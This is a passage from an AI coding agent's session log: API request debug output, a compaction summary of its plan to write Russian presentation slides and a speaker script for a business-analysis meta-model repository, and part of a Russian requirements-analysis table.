200,\n[2026-09-29T07:46:19.184Z] [STDOUT]   headers: {\n[2026-09-29T07:46:19.189Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:19.192Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.195Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.205Z] [STDOUT]     \"cf-ray\": \"a4295f8e2da301ff-CDG\",\n[2026-09-29T07:46:19.210Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.213Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.218Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.220Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.223Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.225Z] [STDOUT]     \"request-id\": \"req_011CfXMpg1QgHm99ZhLbjF3D\",\n[2026-09-29T07:46:19.231Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.234Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=95\",\n[2026-09-29T07:46:19.237Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.240Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.244Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.247Z] [STDOUT]   },\n[2026-09-29T07:46:19.248Z] [STDOUT]   durationMs: 240,\n[2026-09-29T07:46:19.250Z] [STDOUT] }\n[2026-09-29T07:46:19.253Z] [STDOUT] [log_305ee8] response parsed {\n[2026-09-29T07:46:19.256Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.258Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.262Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.270Z] [STDOUT]     input_tokens: 6854,\n[2026-09-29T07:46:19.273Z] [STDOUT]     _request_id: \"req_011CfXMpg1QgHm99ZhLbjF3D\",\n[2026-09-29T07:46:19.277Z] [STDOUT]   },\n[2026-09-29T07:46:19.280Z] [STDOUT]   durationMs: 240,\n[2026-09-29T07:46:19.282Z] [STDOUT] }\n[2026-09-29T07:46:19.286Z] [STDOUT] [log_6a6d71, request-id: \"req_011CfXMpg58F6eKs7CVXoyr6\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 263ms\n[2026-09-29T07:46:19.290Z] [STDOUT] [log_6a6d71] response start {\n[2026-09-29T07:46:19.294Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.300Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.306Z] [STDOUT]   headers: {\n[2026-09-29T07:46:19.312Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:19.316Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.319Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.326Z] [STDOUT]     \"cf-ray\": \"a4295f8e1901dbd4-FRA\",\n[2026-09-29T07:46:19.332Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.336Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.343Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.347Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.350Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.353Z] [STDOUT]     \"request-id\": \"req_011CfXMpg58F6eKs7CVXoyr6\",\n[2026-09-29T07:46:19.362Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.368Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=121\",\n[2026-09-29T07:46:19.372Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.375Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.385Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.388Z] [STDOUT]   },\n[2026-09-29T07:46:19.393Z] [STDOUT]   durationMs: 263,\n[2026-09-29T07:46:19.396Z] [STDOUT] }\n[2026-09-29T07:46:19.400Z] [STDOUT] [log_6a6d71] response parsed {\n[2026-09-29T07:46:19.406Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.409Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.411Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.414Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:46:19.416Z] [STDOUT]     _request_id: \"req_011CfXMpg58F6eKs7CVXoyr6\",\n[2026-09-29T07:46:19.421Z] [STDOUT]   },\n[2026-09-29T07:46:19.425Z] [STDOUT]   durationMs: 264,\n[2026-09-29T07:46:19.430Z] [STDOUT] }\n[2026-09-29T07:46:19.433Z] [STDOUT] [log_999b2d, request-id: \"req_011CfXMpg3NvinZPcf3sC6Ly\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 279ms\n[2026-09-29T07:46:19.439Z] [STDOUT] [log_999b2d] response start {\n[2026-09-29T07:46:19.445Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.451Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.454Z] [STDOUT]   headers: {\n[2026-09-29T07:46:19.457Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:19.462Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:19.464Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:19.466Z] [STDOUT]     \"cf-ray\": \"a4295f8e39c26ec7-CDG\",\n[2026-09-29T07:46:19.468Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:19.472Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:19.478Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:19.481Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:19.483Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:18 GMT\",\n[2026-09-29T07:46:19.485Z] [STDOUT]     \"request-id\": \"req_011CfXMpg3NvinZPcf3sC6Ly\",\n[2026-09-29T07:46:19.488Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:19.493Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=122\",\n[2026-09-29T07:46:19.497Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:19.500Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:19.506Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:19.515Z] [STDOUT]   },\n[2026-09-29T07:46:19.530Z] [STDOUT]   durationMs: 279,\n[2026-09-29T07:46:19.545Z] [STDOUT] }\n[2026-09-29T07:46:19.558Z] [STDOUT] [log_999b2d] response parsed {\n[2026-09-29T07:46:19.565Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:19.570Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:19.574Z] [STDOUT]   body: {\n[2026-09-29T07:46:19.579Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:46:19.586Z] [STDOUT]     _request_id: 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The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\nStatus: research is mostly done, no documents are written yet, and the two research agents are still running.\\n\\n1. **Primary request and intent**\\n   - Resolve issue https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\\n   - Working directory: /tmp/gh-issue-solver-1790667776920. Branch: `issue-646-497e337ac092`. Existing draft PR: #648 (https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648).\\n   - Issue mode: Creative. Task type: Documentation/Presentation. Deliver two linked Markdown documents, in Russian like the issue:\\n     - **Doc 1, slide template.** Seven meaning blocks:\\n       1. Scope: BA in large-client teams (high complexity, compliance).\\n       2. Pain: the gap between raw requests and a finished spec, manual operations, and loss of standards and context at handoff.\\n       3. Meta-model: Product \u2192 Process \u2192 Operation \u2192 Artifact.\\n       4. Breakthrough: the hypothesis that cognitive operations resist direct AI generation. The answer is to digitize cognitive operations into strict prompts and machine-readable contracts with fail-closed validation.\\n       5. Pipeline: normalize requests \u2192 reconcile with docs and cases \u2192 generate from golden templates with source links \u2192 G-human gate \u2192 auto-translate into contract or development format.\\n       6. Runtime: pilot on the user workstation (GigaCode CLI / Cline) \u2192 server Environment 4 with a single orchestrator core.\\n       7. Scaling: controlling the output standard guarantees a seamless handoff to systems analysis and development.\\n     - Each slide needs: a number, an assertion headline, 3\u20135 bullets, a highlighted quote or metric, and an image-generation prompt (Midjourney/DALL-E style).\\n     - **Doc 2, speaker script.** Synced to the slide numbers. It explains \\\"why\\\" and \\\"how\\\", links the slides with transitions, stresses the empirical base (60+ runs in mango_ba_prompts), and answers likely questions from a technical leader.\\n   - Definition of Done:\\n     - Both documents exist, and the text shows the evolution from the prompt repository to the Hub meta-model.\\n     - They follow industry practice: Assertion-Evidence, minimal text, no filler, no marketing slogans.\\n     - Every link to repository artifacts is a full absolute URL.\\n     - The task is moved to `review` (practically: mark PR #648 ready and describe it).\\n   - The executor decides the wording and structure; micromanagement is forbidden.\\n   - Solver-system instructions to follow:\\n     - Commit atomic steps and push only to branch `issue-646-497e337ac092`.\\n     - Update PR #648 with `gh pr edit` and run `gh pr ready 648` at the end.\\n     - Remove the `.gitkeep` added by the initial commit.\\n     - Run local validators before committing.\\n     - Merge main into the branch if needed, check CI, and check for latest comments on the issue and PR.\\n     - Save experiment scripts in `./experiments` if any are created.\\n\\n2. **Repository rules (from AGENTS.md and CONTRIBUTING.md)**\\n   - Direction-scoped artifacts live in `projects//`, so the documents belong under `projects/ba-ai-process/`.\\n   - The documents need YAML frontmatter:\\n     - Keys: `status`, `version`, `updated`, `temperature`, `type`, `scope: mango-only`, `source`, `related_artifacts`, `related_issues`.\\n     - Values: `status: draft` is likely right; `updated: 2026-09-29`; `source: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"`.\\n     - Never use `ai-generated` in frontmatter.\\n   - Do not change `standards/` or root `docs/adr/`, and do not create `docs/contracts/`.\\n   - Check the backlog, and do not add the current task retrospectively. Grep found no presentation or #646 entry in `ops/backlog.md`.\\n   - Validators to run before committing:\\n     - `tools/test-*.sh`\\n     - `./tools/validate-frontmatter.sh .`\\n     - `./tools/validate-file-naming.sh`\\n     - `./tools/validate-repository-structure.sh`\\n     - `./tools/validate-rrp-links.sh`\\n     - `python3 tools/generate-manifest.py --check`\\n   - CONTRIBUTING also asks to update navigation, CHANGELOG.md and `ops/artifact-map.md` if a new active artifact becomes part of the public contract. At minimum, add links from `projects/ba-ai-process/README.md`.\\n   - Under hybrid_work rules, the PR body must record gaps, the strategic risk, and backlog proposals.\\n   - Candidate placement: `projects/ba-ai-process/docs/` in a new `presentation/` folder, or under `docs/report/`. Possible names:\\n     - `2026-09-29-meta-model-presentation-slides.md`\\n     - `2026-09-29-meta-model-presentation-speaker-script.md`\\n   - File naming must pass `validate-file-naming.sh`; check its rules first.\\n\\n3. **Sources gathered (verified facts to use)**\\n\\n   **Meta-model (`projects/ba-ai-process/ba-meta-model/`, v0.4, author G-Ivan-A)**\\n   - 11 canonical entities: Product, System, Artifact, Operation, Skill, Process, Route, Actor, Gate, Contract, Trace.\\n   - Production law: `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500 Contract \u2500\u2500\u25b6 Gate(G-self \u2192 G-mach \u2192 G-human) \u2500\u2500\u25b6 Artifact_out + Trace`.\\n   - Invariants:\\n     - MM-1: no step without a declared input; 50 of 67 runs declare no input.\\n     - MM-2: no gate without a contract.\\n     - MM-3: every output carries a Trace.\\n     - MM-4: product class is declared before the step, not inferred; lexical markers give more than one domain for 66 of 67 runs.\\n   - Hierarchy: Process \u2192 Skill (1:N) \u2192 Operation (1:N). An operation produces exactly one result class.\\n   - One gate entity has three executors: G-self, G-mach, G-human.\\n   - Taxonomies:\\n     - Product levels: Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function, with 42 MANGO capabilities mapped to 42 IT/telecom counterparts.\\n     - Processes: 33 skill-subprocesses. Operations: 31 atomic operations.\\n     - L0/L1 are inherited from BABOK v3.\\n   - Measured legacy facts:\\n     - Run modes (stepwise/oneshot/legacy) deprecated by ADR-013: 24 prompts cover 13 capabilities, and the mean Jaccard similarity of mode-variant skeletons is 0.077.\\n     - 10 of 12 normative constructs of the meta-model are absent from all 24 active prompts (ADR-014: legacy is evidence, not baseline).\\n     - 50 of 67 runs reference no prompt; 66 of 67 `process` values are outside the vocabulary.\\n     - M-1 baseline is 0.0 (17 documents, 17 different skeletons; 3 completed runs, 3 skeletons).\\n   - Metrics M-1 through M-5:\\n     - M-1: structural reproducibility.\\n     - M-2: G-mach reject share.\\n     - M-3: human edits after G-mach.\\n     - M-4: trace completeness, must be 100%.\\n     - M-5: empty slots with a declared reason.\\n   - MVP vertical slice: BCREQ for `contact-center`, processes P-01 elicitation-processing, P-02 clarification-management (branch) and P-03 bcreq-formation. It uses 7 compiled SKILL.md files plus 3 in the P-02 branch, 2 golden cases, and 10 tasks.\\n   - The BCREQ mermaid flow runs C-IN (fail-closed) \u2192 transcript normalization \u2192 context extraction \u2192 ambiguity detection \u2192 questions to the customer \u2192 A-CORE (machine-readable contract) \u2192 problem statement \u2192 value hypothesis \u2192 decomposition \u2192 assembly \u2192 G-self, G-mach (C-OUT, schema, Golden Set), G-human (source links, GT-5) \u2192 A-BCREQ + A-TRACE.\\n   - Projections: V-BIZ, V-APPROVE, V-DEV, V-CONTRACT. The contract reading phrases functional requirements as \\\"provide the CAPABILITY\\\" and checks completeness against what/who/where/when.\\n\\n   **Forensics (`docs/analysis/2026-09-23-requirements-run-forensics.md`, accepted)**\\n   - Covers all 67 runs RUN-0001\u2026RUN-0067 of mango_ba_prompts at commit 8cbf82a.\\n   - Evidence: 17 full dialogs in the repo, 27 via external exports, 23 without dialog.\\n   - Four independent failure classes: grounding, scope, state, classification. Prompt-only fixes do not close them; the fix needs an executable contract plus three gates (deterministic, semantic, human).\\n   - Defect IDs with examples:\\n     - EVID-01: RUN-0026 claimed a docs check while `extract_page_success=[0,0,0]`.\\n     - EVID-02: RUN-0024 had three footnotes that did not contain the attributed facts.\\n     - REL-01: BCREQ-1104 pulled in irrelevant facts.\\n     - SCOPE-01: in RUN-0063, 5 of 6 FRs described existing behavior (as-is), and RUN-0067 removed them.\\n     - SCOPE-02: invented scope.\\n     - FR-01/02/03, UC-01.\\n     - NFR-01: RUN-0015 invented targets (5 min, 100 ms, 2 s, 24/7), all rejected by the human.\\n     - NFR-02, STATE-01/02, FORMAT-01, TMF-01.\\n   - Positive cases:\\n     - RUN-0055: 40 of 50 product claims confirmed, 10 corrected.\\n     - RUN-0059: fail-closed, no invented endpoints.\\n     - RUN-0060: 101 requirements received reproducible source anchors.\\n     - RUN-0063\u21920067: reduced to 2 FRs, 14 ACs and 9 questions.\\n   - Standards referenced: ISO/IEC/IEEE 29148:2018, IREB CPRE glossary.\\n\\n   **Golden forms (`docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md`)**\\n   - One 7-section BCREQ form works for API, the personal account (\u041b\u041a) and the contact center, composed from 14 internal slots.\\n   - A failed run produced 27 pseudo-FRs.\\n   - The hypothesis \\\"just improve the prompt\\\" was refuted.\\n\\n   **Working \u2192 Release RFC (accepted, issue #609)**\\n   - One typed Working Document is the only baseline.\\n   - Release Documents are deterministic projections, checked by G-release.\\n   - Every NFR must reference FRs; backward compatibility is decided early.\\n   - Alternative \\\"improve the template\\\" was refuted: defects occur before rendering.\\n\\n   **Architecture convergence (2026-09-24)**\\n   - Source is ready for changes.\\n   - Gates: G-mach checks structure, G-semantic checks meaning, G-human decides disputed choices and acceptance.\\n   - TM Forum IDs stay `unresolved` without a snapshot.\\n\\n   **Runtime options (`docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`, hypotheses \u0413-26\u2026\u0413-54)**\\n   - Main gap: the \\\"orchestrator\\\" role has no executor. In GigaCode CLI the BA types every transition; in Cline the model reads the rules.\\n   - Probe findings:\\n     - P10: \\\"lorem ipsum\\\" accepted as the output of nodes n1\u2013n3, because the gate checks the package, not the step output.\\n     - \u0413-30: `deterministic_share` equals 1.0 regardless of step quality.\\n     - P11: 17 YAML predicates are not read; branches are duplicated in Python for 8 nodes.\\n     - P12: one typo blocks the task.\\n   - \u0413-35: the append-only journal with a digest chain works and should be kept.\\n   - Recommendations:\\n     1. Runner as leader on the BA workstation.\\n     2. Server Environment 4: the same runner core as a FastAPI service with Postgres; Mango AI via an OpenAI-compatible API; approval endpoint; own finite-state machine for a 15-node graph; LangGraph (MIT) later.\\n   - n8n is acceptable only as an integration shell (V-7), not as the core (V-6); CVE-2026-21858 has CVSS 10.\\n   - Rejected: MCP/skill routing, Dify/Flowise, Temporal, Camunda.\\n   - Supporting practice: Anthropic's \\\"Building effective agents\\\" and 12-factor agents (\\\"own your control flow\\\").\\n   - Backlog items B-211\u2026B-218.\\n   - Environments: 1 GigaCode CLI (no Mango AI API), 2 Cline + Mango AI, 3 Qwen Chat (temporary), 4 server.\\n   - Refutation threshold: after 10 tasks, verified-contract steps below 95% (ADR-018 criterion).\\n\\n   **ADRs and other decisions**\\n   - ADR-017 (accepted 2026-09-22): Source \u2192 Distribution \u2192 Runtime \u2192 Feedback.\\n   - ADR-018: proposed GigaCode CLI execution boundary.\\n   - ADR-019: proposed Cline + Mango AI pilot; Environment 4 is a project runner outside the model tool loop.\\n   - ADR-020: proposed clean single-environment package.\\n   - RFC source-pilot-verification (#630): 20 friction points; paired real runs remain an open gate.\\n\\n   **Absolute URL patterns**\\n   - Hub, main branch: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/`\\n   - Branch-only files: `.../blob/issue-639-405767e7672e/`\\n   - mango_ba_prompts: `https://github.com/G-Ivan-A/mango_ba_prompts/...`; at commit 8cbf82a: `https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs`\\n\\n   **Background agents (still running)**\\n   - Agent 1 analyzes the clone at /tmp/mango_ba_prompts (583 commits): structure, exact run count, evolution timeline, metrics. It writes to /tmp/research-notes/mango_ba_prompts.md.\\n   - Agent 2 analyzes research/ba-requirements on main and on branch origin/issue-639-405767e7672e (already fetched). It writes to /tmp/research-notes/ba-requirements.md.\\n\\n4. **Errors and fixes:** no errors so far. Large outputs were handled by reading the persisted output files.\\n\\n5. **Problem solving:** the source research is largely complete. Documents are not written yet.\\n\\n6. **User messages:** the only user message was the issue-solver prompt: \\\"Issue to solve: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646 \u2026 Your prepared branch: issue-646-497e337ac092 \u2026 Your prepared Pull Request: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648 Proceed.\\\" There have been no other user messages or feedback.\\n\\n7. **Pending tasks:**\\n   - Wait for both agent results (read /tmp/research-notes/*.md).\\n   - Optionally skim `mango_ba_prompts` runs/README for evolution quotes.\\n   - Check the file-naming validator rules.\\n   - Write Doc 1 (slides) and Doc 2 (speaker script) in Russian, with 7+ slides (probably a title slide, 7 blocks, and an evidence/\\\"ask\\\" closing slide), absolute URLs, and an evidence map.\\n   - Update `projects/ba-ai-process/README.md` with links; consider CHANGELOG and artifact-map updates.\\n   - Remove `.gitkeep`.\\n   - Run the validators.\\n   - Commit and push.\\n   - Update the PR #648 title and body (reproduction and test sections are not applicable; list gaps, strategic risk, and backlog proposals).\\n   - Check CI and the latest comments.\\n   - Run `gh pr ready 648`.\\n\\n8. **Current work:** I was reading the project decision documents. The last command extracted the ADR-017/018/019/020, pilot-verification RFC and Cline-gap sections into a persisted file (/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bxach7km2.txt, decision sections at lines 69, 117, 163, 201, 241). I had just given the user a short status update: \\\"Still reading the meta-model sources (invariants, metrics, and the 67-run forensics). Both research agents are still running.\\\"\\n\\n9. **Next step:** once the agent notifications arrive, write the two presentation documents under `projects/ba-ai-process/`, then validate, commit, push, and update PR #648 as described in the pending tasks.\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. Resume directly \u2014 do not acknowledge the summary, do not recap what was happening, do not preface with \\\"I'll continue\\\" or similar. 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\u0411\u0417\\n\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430, \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 \u2014 web-\u043f\u043e\u0438\u0441\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\\n\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u043c\u0435\u043d\u0430\u043c \u0438 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u0430\u043c Mango (`mango-office.ru`, `mango-office.ru/support`,\\n`wiki.mango-office.ru`). \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u043b\u0438\u0448\u044c \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432\u0438\u0434\u0430: \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b 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\u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0442\u0440\u0435\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n\u0432 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 capability. RUN-0065 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043f\u044f\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043b\u043e\u043d\u043e\u043a,\\n\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0448\u043a\u0430\u043b\u0443 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0443 \u043f\u043e \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0441\u043b\u043e\u0432\u0430\u043c \u0432\u043c\u0435\u0441\u0442\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u043b\u043d\u043e\u0439 \u0411\u0417.\\n\u041e\u0431\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443: \u043e\u0434\u0438\u043d \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u043b \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb \u0431\u0435\u0437 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 web-\u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438,\\n\u0432\u0442\u043e\u0440\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0432\u043e\u0441\u0435\u043c\u044c \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0438 \u0441\u0430\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u0443\u0441\u044b. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u2014 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\u043f\u043e\u0438\u0441\u043a\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0432\u043e\u0434\u0430 \u0438 regression gate \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c.\\n\\n## \u0420\u0435\u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430\\n\\n\u0420\u0435\u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043f\u043e \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0438\u043d\u0434\u0435\u043a\u0441\u0443 \u0411\u0417. \u041d\u0438\u0436\u0435 \u043d\u0435 \u00ab\u0442\u0440\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u00bb, \u0430\\n\u0440\u0435\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u0431\u043e\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432: \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c,\\n\u0437\u0430\u043f\u0438\u0441\u044c, \u043e\u043c\u043d\u0438\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438. \u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0435\\n\u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0445 L0.\\n\\n| Run / \u043a\u043b\u0430\u0441\u0441 | \u041e\u0448\u0438\u0431\u043e\u0447\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 | \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 | \u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 |\\n| --- | --- | --- | --- |\\n| RUN-0062 / SIP Trunk | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0420\u043e\u0431\u043e\u0442\u0430\u0445 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e: capability \u0412\u0410\u0422\u0421 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e | [LK_manual_v-123, \u00a75, \u0441.520](../../kb/processed/mango-lk-manual/sections/320-sip-trunk.md) |\\n| RUN-0062 / \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043d\u0435 \u0442\u0440\u0435\u0445 SSOT | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e/\u0434\u0430 \u043f\u043e \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u043c \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u0430\u043c: \u0441\u0442\u0435\u0440\u0435\u043e, \u0437\u0430\u043f\u0438\u0441\u044c \u0412\u041a\u0421, FTP/SFTP 